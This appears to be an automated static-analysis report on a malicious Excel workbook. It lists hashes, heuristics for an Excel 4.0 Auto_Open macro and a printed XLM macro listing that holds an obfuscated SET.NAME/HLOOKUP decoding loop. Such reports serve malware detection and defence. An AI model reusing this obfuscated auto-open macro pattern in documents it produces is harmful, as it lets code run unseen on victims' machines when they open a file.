Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 dc481eded67abf8f…

MALICIOUS

Office (OLE)

36.5 KB Created: 2020-11-27 11:44:42 Authoring application: Microsoft Excel First seen: 2020-12-25
MD5: d698dae887cea04135f1eb46d272e236 SHA-1: af16ddb7e661693ff155a0b3fba063a6dacd3a50 SHA-256: dc481eded67abf8f4829640f09ee3b0e33c3dc6eb7e7f8d1ab5475958d18fe7e
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6781 bytes
SHA-256: 2d77bbeab3fa9c1f367e2b5eaef0bdea13c3342e267e718918f2a5981255f584
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     16 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  SrwJDFy
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!C184 
' 0018     24 LABEL : Cell Value, String Constant - BsfLjwwAF len=0 
' 0018     20 LABEL : Cell Value, String Constant - dhtCC len=0 
' 0018     26 LABEL : Cell Value, String Constant - EABbVzxPZCo len=0 
' 0018     22 LABEL : Cell Value, String Constant - eFSTUFZ len=0 
' 0018     26 LABEL : Cell Value, String Constant - eIYWfWUAGCR len=0 
' 0018     21 LABEL : Cell Value, String Constant - FCjgAS len=0 
' 0018     21 LABEL : Cell Value, String Constant - hFsQjx len=0 
' 0018     27 LABEL : Cell Value, String Constant - LBApvmqivGlf len=0 
' 0018     24 LABEL : Cell Value, String Constant - LpEbZzKBN len=0 
' 0018     23 LABEL : Cell Value, String Constant - lyRGoBJc len=0 
' 0018     23 LABEL : Cell Value, String Constant - MyjCovdy len=0 
' 0018     26 LABEL : Cell Value, String Constant - NZMWmhTJXYI len=0 
' 0018     27 LABEL : Cell Value, String Constant - pqHcVmTChoqn len=0 
' 0018     21 LABEL : Cell Value, String Constant - UGCTOP len=0 
' 0018     24 LABEL : Cell Value, String Constant - VeczFvjRR len=0 
' 0018     21 LABEL : Cell Value, String Constant - WwmhTp len=0 
' 0018     27 LABEL : Cell Value, String Constant - XGQzZNWImcYs len=0 
' 0018     27 LABEL : Cell Value, String Constant - yKwObIpflfOO len=0 
' 0018     23 LABEL : Cell Value, String Constant - YqvrzlnP len=0 
' 0018     24 LABEL : Cell Value, String Constant - yXOaGbzzO len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  SrwJDFy,R78,"",-489.00000000000000000000
'  SrwJDFy,R79,"",182.00000000000000000000
'  SrwJDFy,R80,"",507.00000000000000000000
'  SrwJDFy,R81,"",589.00000000000000000000
'  SrwJDFy,R82,"",27.00000000000000000000
'  SrwJDFy,R83,"",554.00000000000000000000
'  SrwJDFy,C98,"SET.NAME("UGCTOP",0+VALUE("0"))",""
'  SrwJDFy,C100,"SET.NAME("eIYWfWUAGCR",UGCTOP)",""
'  SrwJDFy,C105,"SET.NAME("XGQzZNWImcYs",UGCTOP)",""
'  SrwJDFy,C108,"SET.NAME("LpEbZzKBN",COUNTA(MyjCovdy))",""
'  SrwJDFy,C111,"SET.NAME("LBApvmqivGlf",COUNTA(hFsQjx))",""
'  SrwJDFy,C116,[],""
'  SrwJDFy,C120,"SET.NAME("eFSTUFZ","")",""
'  SrwJDFy,C125,"eIYWfWUAGCR",""
'  SrwJDFy,C127,"SET.NAME("FCjgAS",HLOOKUP("*",MyjCovdy,eIYWfWUAGCR,FALSE))",""
'  SrwJDFy,C129,"EABbVzxPZCo",""
'  SrwJDFy,C131,"SET.NAME("lyRGoBJc",UGCTOP)",""
'  SrwJDFy,C135,[],""
'  SrwJDFy,C140,"lyRGoBJc",""
'  SrwJDFy,C144,"VeczFvjRR",""
'  SrwJDFy,C149,"yKwObIpflfOO",""
'  SrwJDFy,C153,"WwmhTp",""
'  SrwJDFy,C156,"SET.NAME("BsfLjwwAF",VALUE(HLOOKUP("*",hFsQjx,WwmhTp,FALSE)))",""
'  SrwJDFy,C160,"dhtCC",""
'  SrwJDFy,C163,"eFSTUFZ",""
'  SrwJDFy,C165,"XGQzZNWImcYs",""
'  SrwJDFy,C167,NEXT(),""
'  SrwJDFy,C170,"yXOaGbzzO",""
'  SrwJDFy,C173,[],""
'  SrwJDFy,C176,"pqHcVmTChoqn",""
'  SrwJDFy,C179,NEXT(),""
'  SrwJDFy,C181,RETURN(),""
'  SrwJDFy,C212,"SET.NAME("YqvrzlnP",C98)",""
'  SrwJDFy,C216,"MyjCovdy",""
'  SrwJDFy,C219,"SET.NAME("hFsQjx",R50C11)",""
'  SrwJDFy,C221,"SET.NAME("pqHcVmTChoqn",228)",""
'  SrwJDFy,C224,"SET.NAME("NZMWmhTJXYI",3)",""
'  SrwJDFy,C227,YqvrzlnP(),""
'  SrwJDFy,C228,HALT(),""

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